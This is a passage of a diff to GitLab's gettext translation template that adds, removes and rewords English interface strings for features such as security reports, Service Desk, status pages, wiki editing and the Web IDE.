@@ -24714,6 +25368,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24888,7 +25545,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -25077,7 +25734,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25244,7 +25901,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -25256,7 +25913,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -25280,6 +25937,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25328,9 +25988,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25577,6 +26234,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25624,7 +26284,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25650,6 +26310,12 @@ msgstr[3] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25776,6 +26442,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25872,6 +26541,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -26188,7 +26860,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26332,6 +27007,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26365,9 +27043,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26464,6 +27139,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26482,6 +27160,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26506,9 +27187,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26560,6 +27238,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26611,6 +27292,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26620,6 +27304,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26847,6 +27534,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26922,13 +27612,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26937,10 +27633,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26955,6 +27651,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -27012,16 +27711,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -27087,15 +27798,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -27147,9 +27849,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -27159,9 +27858,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27198,6 +27894,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27207,7 +27906,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27237,9 +27936,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27294,9 +27999,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27390,6 +28092,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27528,19 +28233,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
+msgstr ""
+
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27642,6 +28371,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27696,7 +28428,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27708,6 +28440,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27729,6 +28464,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27938,9 +28676,15 @@ msgstr[3] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27959,6 +28703,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28199,6 +28946,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28877,13 +29627,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28898,9 +29648,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28913,7 +29660,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -29003,9 +29750,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -29021,9 +29765,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -29081,9 +29822,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29713,6 +30451,13 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29874,9 +30619,6 @@ msgstr[3] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29949,6 +30691,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29976,6 +30721,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29988,6 +30736,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -30052,6 +30803,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -30112,6 +30866,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30184,6 +30941,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30235,6 +30995,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30283,6 +31046,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30310,6 +31079,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30343,9 +31115,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30589,6 +31358,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30727,7 +31499,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30811,6 +31583,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30820,6 +31595,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30832,6 +31610,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -31138,9 +31919,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31237,9 +32015,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31542,6 +32317,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31584,9 +32368,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31614,7 +32395,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31719,6 +32500,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31918,10 +32702,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -32056,9 +32840,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -32113,6 +32894,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32515,7 +33302,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32524,6 +33311,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32620,6 +33410,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32818,9 +33611,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32872,6 +33662,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32917,7 +33710,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -33145,9 +33941,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33214,7 +34007,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33223,6 +34031,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33378,9 +34192,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33408,6 +34228,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33417,6 +34240,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33822,15 +34648,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -34005,6 +34846,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -34105,9 +34949,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34180,34 +35021,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34219,9 +35075,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
